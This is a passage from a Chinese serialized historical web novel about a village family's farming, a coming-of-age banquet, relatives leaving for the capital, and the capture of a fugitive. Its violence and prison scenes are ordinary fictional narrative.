我让豆腐坊开业三天免费送一板豆腐,就有城里的客户找上门来要买。 我心想咱们去城里开铺子专门卖豆腐不方便,就找了个代卖的铺子。 春燕豆腐坊是一对老夫妇带着独生女儿宋春燕开的,我跟宋春燕在街上抓小偷的时候认识的,一见如故。 他们一家都是老实本分人,就是豆腐做的一般,卖她自己做的,还不如替咱们卖赚得多。 我让她专门卖豆浆和豆腐脑,对了,你是不是还没吃过我做的豆腐脑。 咱们老家那边是吃甜的,可我看岚县这边人口重,不爱吃甜的,就做了浇卤的咸口,配着油条吃别提多美味了。 你想不想尝尝? 我让豆腐坊做一锅,让我娘炸油条做浇卤,明早上咱们就吃那个好不好?” 杜衡摆手, “不用麻烦了,我——” 高娇娇不等杜衡说完,就直接道, “不麻烦,明天本来就是要支油锅炸东西的。 小梅不是要及笄了嘛,我准备给她好好操办一下,做两桌席,请大家来家里热闹热闹。” 杜衡愣住,有点不知道要怎么办, “还要摆席啊,我可能回不来怎么办?” “你回不来就回不来呗,有我呢,保管把她打扮的漂漂亮亮,让她开开心心。” 高娇娇浑不在意道,她和小梅算日子的时候,就想到杜衡应该回不来了。 杜衡眉头紧皱,觉得这样不太好,妹妹及笄若是不摆席,他还可以跟在老家时一样送她一份贺礼就行了。 可既然摆席设宴,邀请亲朋一起过来,那他这个唯一的哥哥要是都不出席,实在不应该。 高娇娇最受不了杜衡什么都往自己身上揽,什么都要尽善尽美的劲儿了,拍着他的肩膀道, “你别把什么事都想的那么严重,就是聚聚,热闹热闹,不是跟城里大户人家的姑娘及笄一样隆重。 你呢,眼下最重要的是要去好好读书考功名,剩下的事我们自然会处理。 若是为了赶回来一趟,让你去跟夫子请假,耽误功课,你觉得小梅会开心吗?” 第三百零四章 及笄礼 杜衡抿唇不言语,高娇娇觉得他没听进去,又道, “你若真觉得对不住她,多送她点衣服首饰胭脂水粉什么的。 小姑娘长大爱美了,知道打扮了,最近很是羡慕春花的新衣服新首饰呢。” 杜衡抬眼看着素面朝天,依旧用布巾包裹着头发,只别了一根银簪的高娇娇, “那你呢?就不想要好看的衣服首饰,不想打扮的漂漂亮亮吗?” 高娇娇愣住了,差点脱口而出,我又不是小姑娘,打扮那么漂亮干活多不方便。 忽然想到自己现在也不过才十七岁,确实是花样年华,但是打扮嘛,还是算了吧,她懒。 杜衡见高娇娇沉默不语,心里很不是滋味,犹豫再三还是小声道, “我大哥,走了都快一年了,你——” “我挺好,真的,特别好,我就是单纯懒,不爱打扮。” 高娇娇一点都不想跟杜衡聊杜松,她对杜松知道的太少了,太容易露出马脚。 她快速起身,随便找了个借口就走了。 杜衡看着高娇娇好似逃一般的背影,长长地叹了口气。 看来,她还是放不下大哥啊。 雨下了一天一夜,直到第二日上午才停。 看到出太阳了,高娇娇很是高兴,连声冲杜衡道, “这么大的太阳,晒上半天路就干了,不耽误你赶回书院。” 杜衡挤出一抹笑容,他昨晚胡思乱想睡不着,现在脑袋还有点晕。 吃过午饭,启程回书院前,杜衡把杜映梅单独叫到自己屋里,拿出早就准备好的一对银镯子递给她。 杜映梅看着缠枝花纹分量十足的银镯子,又惊又喜,连忙问道, “二哥,这肯定很贵吧,你哪儿来的钱?” 杜衡好笑地拍了拍杜映梅的头, “放心吧,是我抄书攒的,还有书院发的助学金。 我连着考了三次第一,从这个月开始每个月都能领到二两银子,笔墨纸砚什么的也不用再自己花钱买了。 你以后想要什么就跟我说,我去给你买。” 杜映梅开心的不得了,但又忍不住道, “二哥,我知道你们读书很花钱的,你不要总想着省下来给我们。 家里不缺钱,嫂嫂还给我零花钱,一个月一两银子呢,让我随便花。 我啥都不缺,嫂嫂对我特别好,不仅给我买新衣服,还让人给我做了新鞋子,还送了我一副头面。 可是金的呢,上头镶了珍珠,一看就很贵,我都不敢戴出来,怕人眼馋给我偷了去。 家里一切都好,你不用担心我们,只管好好读书,照顾好自己就行。” 听妹妹这么说,杜衡又是开心又是愧疚。 照顾妹妹本来是他的责任,却让嫂嫂帮他承担了,嫂嫂对他们的恩情,他这辈子也还不清。 杜衡叮嘱杜映梅, “嫂嫂对我们恩重如山,我不在家,你替我照顾好嫂嫂,也照顾好自己。 咱家穷,爹又走的早,娘只顾着我和大哥,总是忽略了你,让你小小年纪受了不少委屈。 如今家里日子好过了,你不要太难为自己,有时候也可以跟别家姑娘一样娇气一点,任性一点。 有些脏活累活不想干,就等哥哥回来干,有什么不开心的,也可以冲哥哥发发脾气。 不管怎样,哥哥都会护着你的,知道吗?” 杜映梅吸了吸鼻子,故意粗声粗气道, “知道啦,二哥你真是的,都要走了还说这些干啥,弄的我鼻子酸酸怪难受的。” 杜衡好笑的又拍了下杜映梅的头,这个傻丫头,都要及笄了,还这么孩子气。 送走杜衡,高娇娇就找来姚春香帮忙筹备杜映梅的及笄礼。 姚春香列了个单子,跟高娇娇盘算了一通,准备做三桌席面,三荤三素一鱼一鸡一甜一咸两道汤,一共十道菜。 大部分食材家里都有,缺的东西等豆腐坊明天去城里送豆腐时,帮着捎回来。 现在村里各家缺啥少啥都是这么干的,让送豆腐的帮着捎,按东西重量给几文跑腿费,比自己去城里方便。 送豆腐那家捎带手赚点路费,也能给牲口添点草料。 一场大雨大大缓解了旱情,地里的庄稼喝饱了水,感觉一下子都拔高了,精神的不得了。 高长天跟几个老庄稼把式把各家的地都转了一遍,很是高兴跟高娇娇说,照这个情形,今年荞麦和莜麦的收成应该差不了。 更让高长天高兴的是梯田最上头的蓄水池里终于有水了,那么多水,即便接下来这个月不下雨,也足够浇稻田了。 那可是高处的水,只用放开闸门,让水顺着渠道流下来就行了,根本不需要耗费多少人力。 高娇娇也很开心,旱情缓解了,大家对接下来的日子更有信心了。 来集市上买卖东西的人也多了起来,铺子生意红火,想开铺子的人也越来越多。 照这么下去,说不定明年她就能攒够钱盖寨墙了。 把整个石楼村周围都盖起来高高的寨墙,立起一道坚固的寨门,他们就不用怕野兽进村,更不用担心土匪闯入了。 甚至进一步扩大范围,把寨墙一直盖到村子最外围,把所有田地、河流、商铺都圈在其中。 形成一座坚不可摧的堡垒,不管外界如何动荡不安,他们都能自给自足,安居乐业。 那该有多好。 高娇娇畅想的未来只敢跟朱钰一人说,不敢跟高长天他们提起分毫。 他们当惯了顺民,对朝廷有着本能的顺从,高娇娇想要广积粮筑高墙,建立自己势力范围的行为,在他们看来就是造反。 在他们的认知里,朝廷是绝不可能允许这样一个地方存在的。 所以高娇娇估计,她想在村子四周建起高墙都不太容易,但事在人为,办法总是能想出来。 转眼就到了杜映梅及笄那天,高娇娇请来姚春香帮杜映梅梳头,簪上发钗。 没有那些琐碎庄重的流程,只有亲朋好友的欢声笑语,和大家的美好祝愿。 杜映梅过完了她的十五岁生辰,变成了世人眼中的大人。 穿着藕荷轻纱软烟罗裙,戴着珍珠流苏金钗的少女,笑的娇憨动人。 引得席上不少妇人都在心里暗暗盘算,家里有没有合适的小子,兴许能结个亲。 姚春香也想借这个机会,看看能不能给高娇娇和杜映梅找到好姻缘。 姑嫂两人都到了年岁,正是说亲的时候,挑挑拣拣,说不准就遇到合适的了。 大人们凑在一起说家长里短,杜映梅跟高秋花、高春雨等小姑娘,叽叽喳喳说着城里最时兴的打扮。 高娇娇逗高小寒和高冬月玩了一会儿,无意中看到高春花被刘小翠叫到一旁,忙留意起了高春花的心声。 原来刘小翠把她叫过去是追着问有没有怀上,弄的面红耳赤鼻十分尴尬,不知道怎么应付。 高娇娇便忙把高春花叫了过来,说起了让他们跟郑子安一同上路的事。 杜衡回到书院第二天就托茶摊伙计过来传口信,他问过郑师兄了,郑师兄愿意带上张狗子和高春花。 但是雇车费用以及路上的花销,需要他们自己负担,还有路引什么的,也要他们自己提前办好。 郑子安此次赴考,是跟随一个大商队一起走。 这个商队是并州府的一个老字号商号自家的商队,常年往返并州府和京城之间,有护卫一路保护。 郑子安也是靠他岳父托人找关系,才能跟这个商队一同上路。 张狗子和高春花要是想要跟着,只能以郑子安家中奴仆的身份,要不商队大管事不会应允。 既然是以下人身份,那路上就免不了要做一些打杂跑腿的事,这点要事先说清楚,省的到时候不情不愿彼此都难堪。 第三百零五章 送行 高春花本来一听能跟举人老爷一起上路,还有商队护卫保护很是开心。 可要以下人身份,还要打杂跑腿伺候人,她就有点不太情愿了。 狗子哥可是未来的侯府世子,哪儿能给人当下人,若是被侯府知道了,岂不是很丢脸? 高娇娇倒是觉得没有什么比安全到达更重要,但听到高春花心里这么想,也没多劝,让她跟张狗子商量商量再做决定。 要是想要同行,最迟明天上午就得给郑子安那头回个信,要不就赶不上了。 高春花点头应下,高娇娇见她起身要走,忍不住喊住了她。 高春花不解地看向高娇娇,高娇娇想了又想,还是决定提醒她几句, “春花,京城的人不比咱们这儿的人,没多少心眼,就算彼此闹了矛盾,哪怕大打出手,也是气消了就好了。 越是位高权重的人,越是心机深沉,他们不会轻易表露真实情绪。 你跟他们接触,千万不要光听他们说了什么,要多留意他们干了什么,多琢磨他们为什么这么干。 不知道不确定的时候,宁肯不说不做,被人笑话是个木头疙瘩,也不要信口开河贸然行动,一不小心就中了人家的算计。 在京城要学会明哲保身,学会藏起自己的本心,对谁都不能掏心掏肺,哪怕是狗子。” 高春花愣住,不赞成道, “姑姑的意思,我连狗子哥都不能信吗? 我们可是夫妻,夫妻一体啊!” 高娇娇最担心的就是这个,夫妻从来都不是一体的,人是会变的。 可这话现在跟她说,她是一个字也听不进去。 高娇娇只能换个说法, “不是不让你信,是你不能什么都信,他有时候也会身不由己,说些不是那么真心的话。 你得自己去判断,去衡量,然后再去琢磨该怎么做。” 高春花蹙紧了眉,她没听懂,但她不想问,她总觉得姑姑不是那么看好她跟狗子的姻缘。 高娇娇听到高春花的心声,只觉得心累。 但到底是舍不得这个上辈子已经受尽苦楚的姑娘再受苦,还是严肃叮嘱道, “最最重要的事,不能让人知道你的运道很好,只要出去就能找到好东西。” 高春花瞳孔猛地震颤了下,慌乱极了,本能就想要否认, “我,我,我运道不好,我,我挺倒霉的,我没有,不是——” “春花,这件事我从未跟任何人提起,也不会告诉任何人,你放心。” 高娇娇盯着高春花一字一句道, “你是我侄女,我只盼着你好,别人可就不一定了,若要人不知,除非己莫为。 你以后一定要当心些,我都能察觉到的事,京城那些心眼子比藕眼还多的人精,一定也能察觉到。 不想被人当怪物捆起来烧死,你就低调点,能不出风头就不要出风头,能藏多久就藏多久。 还有,若是有一天,你想回来,什么都不要担心,只管回来。 家里的大门永远为你敞开,有我在,有家里这些亲人在,没人能欺负得了你。” 高春花眼眶酸的厉害,喉头堵的说不出一个字来,只能使劲点头。 张狗子比高春花更会衡量利弊,他几乎没有任何犹豫,就同意假扮郑子安的下人,跟着他一起上路。 给郑子安那边回了信,就要收拾东西,准备出发去岚县了。 刘小翠急的不行,春花那个死丫头就是个榆木脑袋,月事没来很有可能就是怀上了。 她让她去找小刘大夫看看,她还不肯,非要再等等。 再等等就要出发了,要是没怀上,路上又不方便行房的话,到了京城,侯府的人不认她,狗子要是也不护着她,可咋整? 刘小翠越想越愁,说不动高春花,干脆假装头疼难受起不了床,让高大壮把小刘大夫请到家里来。 趁着高春花过来探望,一把抓住她,让小刘大夫给她把了个脉。 高春花被弄得羞的没脸见人了,等小刘大夫走后,一个劲儿冲着刘小翠抱怨, “娘,我这眼看着就要走了,你就不能给我留点脸? 非要人小刘大夫给我把脉,我才刚成亲一个月,哪儿有那么着急的? 狗子哥都跟我保证了,不管我有没有怀上,只要侯府认他,他就一定让他们认我,绝不会抛下我不管的。” 刘小翠白眼恨不得翻上天,戳着高春花脑门骂, “你个棒槌,男人的话也是能信的? 他现在说的好听,到时候侯府就是不肯认你,他是能跟亲爹翻脸,还是能压住那个后娘? 到时候他只能委屈你,你只有尽快怀上儿子,才能在侯府站稳脚跟。 可你这个不争气的,都这么久了,肚子还是一点动静都没有。 我给你的那些补药,你到底有没有给狗子喝啊?” 高春花郁闷至极,很不耐烦道, “喝了,喝了,我就是没用,就是不争气,就是没怀上,你能怎么着? 你都把我逼的月事都不来了,我好不容易才调理好的。 你以前也没管过我,现在也别管我了,我都成亲了,我知道日子怎么过,不用你教!” 说完,就头也不回冲了出去。 刘小翠气地捶墙,这个白眼狼! 可骂着骂着,她的眼泪就控制不住啪嗒啪嗒往下掉。 这个没良心的死丫头,她这么费心尽力都是为了谁啊? 京城离家那么远,侯府的门楣那么高,人家要真不认她这个儿媳妇,欺负她,谁又能帮她啊? 可是再难受,日子还是要过,该走的人还是要走。 次日一早,高家众人都来送张狗子和高春花。 叮嘱的话说了又说,跟在送豆腐的马车后头送了又送,高娇娇见张狗子回头看了她好几眼,暗暗在心里叹了口气,走上了前。 张狗子眼睛亮亮地看着高娇娇,高娇娇冲他招手,让他低下头来。 张狗子乖顺低头,附耳过去。 高娇娇压低声音道, “到了京城,他若是认你,你也别光顾着高兴,越是轻易得到的东西,越有可能是大坑。 有什么不懂的,就厚着脸皮去请教郑子安,那是个绝顶聪明的人,应该能帮到你。 他若是不认你,你就带着春花立刻离开京城,千万不要有一丝一毫的迟疑。 京城威远镖局里有个姓凌的镖师,是凌十三的族亲,你若出城,可找他帮忙雇佣威远镖局的镖师护送。” 张狗子点头,认真道, “多谢姑姑,我记下了。” 高娇娇抿了抿唇,还有两句话在舌尖滚来滚去,最终还是决定叮嘱张狗子, “万一,我说万一,侯府的人要杀你们。 你们可能性命不保的时候,你就问他们,可还记得一个姓郭的故人? 然后他们再问,你就只说一句,不是不报时候未到,你们的报应很快就要来了。” 张狗子皱眉不解, “这话是什么意思?” “不要问,记清楚我的话,真到那个时候,这些话兴许能保你们不死。” 高娇娇没法跟张狗子说的太清楚,因为她自己也不是很清楚。 她只是隐约察觉到她娘当年家破人亡,双城镖局被毁的背后有很大的隐情,甚至比张狗子他爹永安侯后宅那点事要大得多。 双燕姐她娘说的那个贵人,可能就是张狗子的亲娘,也就是说,双燕姐她娘很可能知道狗子亲娘是怎么死的。 如果侯府的人真要杀张狗子,兴许能拿双燕姐她娘唬一下他们,让他们以为张狗子掌握了一些罪证,会给侯府带来不利的影响。 为了从他身上挖出证据,可能会暂时留他一命。 第三百零六章 这事儿需得谨慎 直到马车走远,高家众人才转身往回走。 姚春香抬起手抹了抹眼角道, “这一去,也不知道啥时候才能回来,也不知道会不会给咱们写信。 大宝去个豫州府,离的也不是很远,到现在都没寄回来一封信,可真是愁人啊。” 高娇娇一拍脑袋,忙道, “看我这记性,光顾着春花这边,都忘了大宝的事了。 杜衡让人捎的口信里提到了大宝,说听夫子说的,顾小将军到了豫州府后势如破竹,把寿天王打的节节败退,现在都躲到汝州府内不敢出来了。 那个夫子有个同窗在军中当幕僚,跟他一直都有书信往来,消息来源肯定靠谱。 我估计只要打下汝州府,抓住寿天王,战事就能结束了,大宝他们就会回来了。” 众人一听这话,都十分高兴,姚春香忍不住快走起来,想把这个好消息赶紧告诉罗子娘她们。 高娇娇则跟着高长天他们又去了地里,下过雨后,庄稼长势良好,杂草也疯长了起来。 荞麦和莜麦地里还好,已经开始灌浆了,即便地里长草影响也不大。 可她的番麦还没抽穗开花呢,正是需要养分的时候,要是被草抢走了养分会影响收成。 大热天钻进到腰那么高的番麦地里除草,没一会儿就热的满头大汗,腰疼背酸不说,脸上胳膊上还刺挠着又痒又疼。 高娇娇忍不住跟高长天他们抱怨, “种番麦可真麻烦,要是有除草的药就好了,撒一遍就再也不长草了,就不用这么累人了。” 高长天等人好笑不已,撒一遍就能把草毒死的药,谁敢往地里撒啊,那不把庄稼也给毒死了。 高娇娇长叹了口气,跟这帮没见识的古代人说不清,她真是太怀念现代的除草剂无人机了,单纯靠人力种地实在太辛苦了。 可除了高娇娇,没人觉得苦。 高长天他们只觉得番麦真是个好东西,能长这么高这么大,还能结出那么大的穗子来。 哪怕一株苗上只结一个果,那收成也比小麦高不少,而且这杆儿这叶子,还能拿去喂牲口。 真是浑身都是宝,好的不得了。 高娇娇受不了他们看番麦跟看稀释珍宝的样子了,抹了把汗,把锄头塞给高二宝,打算去池塘里看看鱼长的怎么样了。 她想趁着八月十五前价格好,卖上一批鱼,养了这么久还没一点收益呢。 高二宝也不想锄草,扭头就把锄头塞给了高金宝,拔腿追高娇娇去了。 高金宝也不想锄草,可他不好意思偷懒,只能认命拿起锄头锄了起来。 高长天他们看到他们这番眉眼官司,互相交换了个眼神,忍不住摇头叹气。 现在的年轻人都不爱种地了,等他们这帮老家伙老了,这么多田地该交给谁打理啊? 高三壮觉得老头子们杞人忧天,扳着手指跟他们盘算, “我媳妇那个绣坊,自从娇娇托了杜衡那个家里开镖局的同窗帮忙后,订单多的不得了。 上个月,抛去所有开支,净赚二十多两。 我家地里那点活,就算全都雇人干,一年三五两银子就顶了天。 现在来咱们村找活干的人多的是,只要有钱,根本不愁雇不到人。 甚至咱都不用管饭,多给五文钱工钱,让他们自己去街上买饭吃,他们高兴的很。 老刘家摆摊卖的那个杂粮饭,满满一大碗才三文钱,足够他们吃饱了。 所以啊,你们别愁没人种地,咱们多赚钱,雇人一样种地。” 高长天等人不赞同地看着他,地是庄稼人的根,不管赚多少钱,这根可不能丢啊。 罗子支持高三壮,挠着头嘿嘿笑着道, “我家那个杂货铺生意也不错,一个月赚的比种地一年都多。 娇娇从城里给我们弄来了几个方子,让我们试着自己做麦芽糖做糕点。 她说这个要是做的好,她帮我们把货卖到城里去。 我觉着,做生意比种地有搞头,不过地肯定是要种的,等我有了儿子,我肯定要教他学会种地。 不过,不一定非要他亲自干活,只要会安排人干活就行了。” 李二点头如捣蒜, “就是就是,我媳妇现在怀了孩子,一天只绣半天还能赚几十文钱呢。 我娘说等我媳妇生了娃,不用她管一点,让她好好干,最好再学学做衣服啥的,将来我家也开个裁缝铺子。 做生意来钱快,等我儿子长大了,我也供他读书让他去考秀才。” 这话惹得众人都笑了起来,吴亮嘲笑李二, “就你那脑子,生出来的儿子也聪明不到哪儿去,能考上秀才,除非你家祖坟冒青烟。” “你咋知道我家祖坟上不会冒青烟?保不齐我儿子就是聪明呢。” 李二不服气,挺胸昂头很是傲娇道, “等我赚够了钱,我也把我儿子送到九川书院,不就一年一百两银子嘛,只要他能读进去,我就能供得起!” “吹牛皮谁不会啊?等你先生出来儿子再说吧。” “我媳妇已经怀上了,就算这胎生不出来,早晚能生出来儿子。 你媳妇还没动静呢吧,你急了吧?” “我才不急呢,好饭不怕晚,更何况我跟我媳妇还年轻。 再说,我又不像你,非要儿子,我觉得姑娘更好,要是能跟娇娇那么能干就最好了。” “啊呸!你想得美,像娇娇那样聪明能干的姑娘,只有高叔和姚婶子那样的爹娘才能生的出来。 你啊,就算了吧,你那脑子还不如我呢。” “你可真看得起自己,咱们村还能有比你更傻的?” ....... 高长天见吴亮他们吵闹成一团,忍不住叹了口气,扭头问朱钰, “你觉着再这么下去,村里真的还会有人愿意种地?” 朱钰弯腰捡起一根被锄断了根的野草,意味深长道, “大哥,耕读之家难道地都是自家人耕种的吗?不是只要靠田地为生就行了。 你想让大家安稳过日子,大家也想更上一层楼啊,咱们盼的不是一代更比一代强嘛。 想让孩子们比咱们强,就要供孩子们读书,练武,出去学本事,这些可不是光靠种地能供得起的。 咱们也该学学那些土财主,多买些田地了。” 高长天愣住,买地? 他家好几十亩地呢,足够一家人吃喝了,更何况地太多,也种不过来啊。 可看着朱钰笑眯眯的眼睛,想想三壮罗子他们的话,高长天忽地明白了。 他们是可以多买些地,雇人来种,就跟地主一样,通过买地买山买房,扩张自己的势力。 心跳有些快,嗓子有些干,高长天强压下激动的心情,沉声对朱钰道, “这事儿需得慎重,等夏收过后,看看产量,咱们再商量。” 朱钰点头,他明白大哥的未尽之意,夏收最重要的是番麦,番麦的产量才是决定他们是否要扩张的关键。 乱世之中,手里有多少粮食,就有多少底气。 大哥愿意商量,就已经比之前强太多了,朱钰扇了扇扇子,告诉自己不急,慢慢来,还有时间。 高娇娇这边忙着打理田地,养鱼,发展集市,进山采蘑菇,抓银鱼,满山遍野寻找已经成熟的山杏。 杜衡那头,正跟随山长和夫子,在知县大人和衙门官员的带领下,一起为即将去京城参加会试的五位举人送行。 原本这种场合,杜衡是没资格参加的,但是郑子安跟山长辞行时提到了他,说他资质好性情坚韧,好好培养,前途无量。 山长就把杜衡也叫上了,一行人把郑子安送到了城外三里亭。 郑子安深深一躬,带着师长家人们的期望,登上了马车。 张狗子和高春花紧跟其后,背着包袱,抬着箱子,跟着郑子安的小厮,一起上了后面一辆小一些的青色篷布马车。 等到商队走远,山长等人转身回城,杜衡也跟着往回走。 进了城,来到马车旁,抬脚上车的瞬间,杜衡猛地回头,看到一个佝偻的身影迅速藏入围观的人群中,他的目光不由一沉。 果然不是他的错觉,确实有人在盯着他。 那个看着像是乞丐,拄着拐,走路一瘸一拐的背影,有点眼熟。 他认识的人不多,来往的人更少,谁会无缘无故紧盯着他,还怕被他发现? 迅速在脑海里盘点了一番,杜衡将所有的怀疑集中在一个身上。 畏罪潜逃的杜有才! 第三百零七章 抓住杜有才 一个人可以通过外物改变面部,却无法改变身高体型,尤其是肩宽,手臂长短,还有腰腿比例,以及走路的习惯。 杜衡对自己的记忆力很有自信,他非常肯定,那个人的背影跟杜有才很像。 杜有才现在可是被通缉的要犯,不找地方好好躲着,为何要跑来盯着他不放? 车上的夫子见杜衡迟迟不进来,掀开帘子探出身子问道, “怎么还不上来?可是有什么事?” “无事,只是没想到会来这么多人,有点紧张。” 杜衡迅速收敛了神情,做出惯常的腼腆羞涩样子来。 夫子不由笑了起来,主动帮忙挑着帘子让杜衡进来,待杜衡坐下,又细细跟他说了一番今日为何会这般隆重。 虽然朝廷规定,只有进士及第才有资格做官,但在进士不足的情况下,也会从举人中择优录用。 这就意味着只要考中举人,早晚会当官,很有可能成为知县的同僚甚至上司,知县自然不会轻易得罪。 还有就是,官场上也讲究拉帮结派,同乡自不用说,一个地方出来的,家族之间可能还有着密切的联系,自然关系更为亲近。 会试同榜登科者皆称同年,若是再拜在同一位座师门下,那还可以说是同门,彼此来往自然便利。 就是靠着这样千丝万缕的关系,大家才能在官场上形成自己的人脉,互相帮助,总比自己单打独斗要来的容易。 这也是知县为何会亲自过来给郑子安他们送行的原因,不仅如此,知县还赠予了他们每人几十两银子做路费。 杜衡听得感慨万千,他以前觉得自己也知道一些官场学问,今日听夫子这么一说,才发现自己了解的有多么浅薄。 难怪郑师兄临走前让他不要一味死读书,要多跟夫子们走动,多去看看市井百态,再去翻阅史书典籍,会有不一样的体会。 世事洞明的学问,他确实还差的很远。 但眼下,他最重要的是先解决杜有才父子。 虽然他觉得以杜有才现在的样子,应该不会对他产生什么威胁。 但小心驶得万年船,杜有才不足为惧,杜家福却是一条藏在暗处的毒蛇。 他不想整日小心防备,等着被毒蛇咬上一口再反击,他要让杜有才和杜家福罪有应得! 回到书院当晚,杜衡就把杜有才伪装成乞丐,可能通过什么东西改变了外貌的事告诉了徐六,重点强调杜有才的右腿有问题,很可能骨折了。 杜衡在逃荒路上见过装瘸的人,也亲手打断过流民的腿骨,他很清楚装瘸跟真瘸的区别。 杜有才走路时身子整个往左边用力,右脚几乎不敢踩实地面,说明右腿有问题,但问题又不是特别严重。 要是很严重的话,是一点也不敢用力的,可杜有才走路的时候,右脚尖还能点着地。 杜衡猜测,杜有才应该是小腿骨折了,断的不彻底。 徐六早在扣押杜有才药材时,就把杜有才当成死敌了。 当然要趁他病要他命,更何况抓住杜有才和杜家福是大功一件。 知府大人一高兴,说不定就给他老子升官了,他要是也能跟着沾个光,混个小官当当,就不用再读这劳什子的破书了。 徐六越想越激动,赶紧给家里传了信。 三天后,收到了回信,抓住了杜有才,却没找到杜家福。 杜有才那个蠢货,居然被他亲爹给骗的团团转。 杜家福那个老贼,在杜有才跟乔香柳订亲后,利用补办户籍去衙门办婚书的机会,偷偷花钱找人办了两个假户籍。 事情败露逃出并州府时,他就用假户籍办了路引,还在脸上做了伪装,所以衙门查不到他们的踪迹。 要说杜家福的伪装功夫,那也是厉害的很。 为了装的像,他居然亲手打断了杜有才的小腿骨,还给杜有才脸上抹了会生红疹的药膏。 一个人突然变成了瘸子,还长了一脸红疹,没了眉毛,头发乱糟糟,再穿一身破烂衣服,躲在乞丐堆里沿街乞讨,若不是极其熟悉的人,谁能认得出来他是谁。 可这还不是让徐六最震惊的,他最难以置信的是杜家福居然忽悠杜有才自投罗网。 杜家福跟杜有才说想要恢复自由身,只有去求杜衡,让杜衡出面,帮他们去向知府夫人求情。 还说小桃红就是杜衡派来的,只要杜衡出面,把一切罪名都推到小桃红身上,让小桃红回来顶罪,他们就没能洗脱罪名。 这话任谁听了都觉得可笑,可杜有才不知道怎么想的,居然就信了。 不仅跑来找杜衡,还试图进入九川书院跟杜衡见面。 徐六他爹之所以能这么快抓到杜有才,就是故意放出消息,说有人在九川书院后院墙上挖了个洞,偷溜进书院给学子下毒,差点把几十个学子甚至夫子都给毒死了。 然后就在九川书院外围守株待兔,第二天晚上就逮到了杜有才。 严刑拷打审问了一夜,也没问出来杜家福在哪儿。 杜有才跟杜家福分开是在城外树林里,杜家福跟杜有才说事情办成了就在城外三里亭的石墩子下头塞张纸条,他看到纸条自会去找杜有才汇合。 徐六他爹亲自盯着杜有才塞了只画了个圈的纸条,苦等一天,也没见到杜家福的人影。 按照假户籍,和根据杜有才描述画出来的画像,一路追查杜家福下落的衙役,在城外二十里的官道旁茶水铺里,打听到了线索。 据茶水铺的伙计说,五天前见到过杜家福,在他们这儿喝了两碗茶,买了几个包子,跟他打听了一下去五常县的路,就走了。 然后就没见这人再回来过,伙计之所以记得这么清楚,是因为杜家福伪装成了一个须发花白的赤脚大夫。 只看了他几眼,就说他胃火大但是经常拉肚子,还说他这是气虚脾弱,不是实火,让他不要再吃下火的药了,不然只会更严重。 伙计将信将疑,去城里找大夫看了,居然跟他说的一模一样,所以印象深刻,一看到画像就认了出来。 徐六他爹分析,杜家福的目的地应该不是五常县,而是他办的假户籍上的老家荣阳县。 说是假户籍,其实那个户籍上的身份并不假,而是杜家福和杜有才老家的身份,只是换了个姓氏,改姓丁。 而他们办理的并州府落户的新户籍上,才是他们真正的名字。 徐六他爹觉得,杜家福应该是觉得杜有才和乔香柳长久不了,早晚得闹翻,为了以防万一,提前就做好了跑路的准备。 利用假户籍回到原籍,靠着从乔香柳手里骗来的银钱东山再起,等过个几年,乔香柳那头不再追着不放了。 再想办法换回自己原本的名字,依旧能过的风生水起。 徐六他爹都忍不住在给徐六的信里感叹杜家福的老奸巨猾,还说让他不要抱太大希望,就算顺着这条线索追查,估计也很难抓住杜家福了。 一是已经过去五天了,杜家福现在去了哪儿,谁也说不准。 二是豫州府那边还在打仗,眼下时局紧张,知府大人不想把事情闹大。 只要杜家福能逃出并州府范围,通缉令对他也就没多大作用了。 如果非要抓他归案,只有一个办法,让杜衡给荣阳县那边的人写信,请他们帮忙盯着点,只要杜家福在老家露面,就去衙门举报。 除非之外,别无他法。 第三百零八章 地牢 看完徐六他爹的信,杜衡扭头问凌十三, “你家在老家那边可还有能联系上的人?” “这个,我得回去问问我娘,” 凌十三挠了挠头,皱巴着脸道, “就算有,估计也很搬家换了地方,再加上后来暴民作乱,现在还在打仗,只怕有点难。” 杜衡抿了抿唇,沉声道, “再难咱们也要试试,杜家福连亲生儿子都能抛弃,只要有翻身的机会,肯定会千方百计找咱们报仇。” “对!咱们必须斩草除根,我这就给我爹回信,让他再想想办法。” 徐六赞成杜衡的说法,他现在是越看杜衡越顺眼。 该狠的时候这小子一点也不手软,十分对他胃口。 就是有的时候装的有点过头,尤其是在夫子和他嫂嫂跟前。 杜衡若是知道徐六心里的想法,定会冲他翻个大白眼。 你懂个屁,这叫千人千面,聪明人都知道如何展现自己的优点。 他在嫂嫂面前太过暴露本性的话,嫂嫂不喜欢了怎么办? 因为杜有才的事,杜衡这次月中放假没有回家,而是跟徐六去了衙门的地牢。 地牢离地面三丈多深,通道十分低矮狭窄,以杜衡在男子中并不算高大甚至还偏瘦的身量,都得弯着腰才能不碰到头。 牢房就更小了,没有跟普通牢房那样的大通间,只有一个个跟窑洞里放东西的龛一样的坑。 坑不大也不高,只能容得下一个人半躺着窝在里头,几乎没有多少可以挪动的空间。 每个囚犯的手脚都用铁链锁着,铁链的一端固定在墙上,囚犯只要一动弹,就会发出哗啦哗啦的声响,引起守在外面狱卒的注意。 杜衡压低声音问徐六, “平日里这里头可有光亮?” “自然没有。” 徐六回答的十分理所当然,这可是关押重犯的地牢,十几道门,日夜都有狱卒严防死守,犯人只要进来就别想活着出去。 都是必死之人了,哪儿还用得着照亮,多浪费灯油。 更何况,牢房里就屁大点的地方,对面就是墙,有什么可看的? 来了这儿,就是活着等死,每天一个馊了的杂面馒头,一碗水,保证饿不死就行了。 吃得少,排泄自然也少,连便桶都不用放,只用隔几天直接拿水冲一冲就行。 进了这里的犯人,最多一两个月,不是把自己活活吓死,就是受不了疯了,然后变着法把自己折腾死。 杜衡被徐六说的毛骨悚然,他以为的牢房就是跟话本里那样,没想到实际的地牢居然这么恐怖。 知府衙门只要一日不提审,杜有才就得一直关在地牢里,知府夫人是想用这个法子让杜有才生不如死吧。 果然是个狠人,就是不知道她会不会对杜家福追查到底。 杜有才迷茫地睁开眼睛,看到眼前的亮光,不由急忙抬起袖子遮挡。 许久没见过光亮,他只觉得刺眼的慌。 等了一会儿,没有等到熟悉的鞭打唾骂,也没等到硬邦邦的馒头砸到身上,杜有才这才小心翼翼抬眼往上看。 只见举着火把的是个长脸大眼睛,看着很机灵的年轻男子。 而男子身旁,站着个穿着一身黑色长衫,披着披风,披风的兜帽很大,挡住了上半部分脸的男人。 虽看不清脸,但是那白净的肤色,很是精致微微有些翘的下巴,还有饱满如弓的口唇,被街头算命的说是男生女相,将来前途不可限量的讨人厌样子,分明就是杜衡。 杜有才不由激动了起来,他伸长手臂想要去抓杜衡,可他的两只手都被铁链锁着。 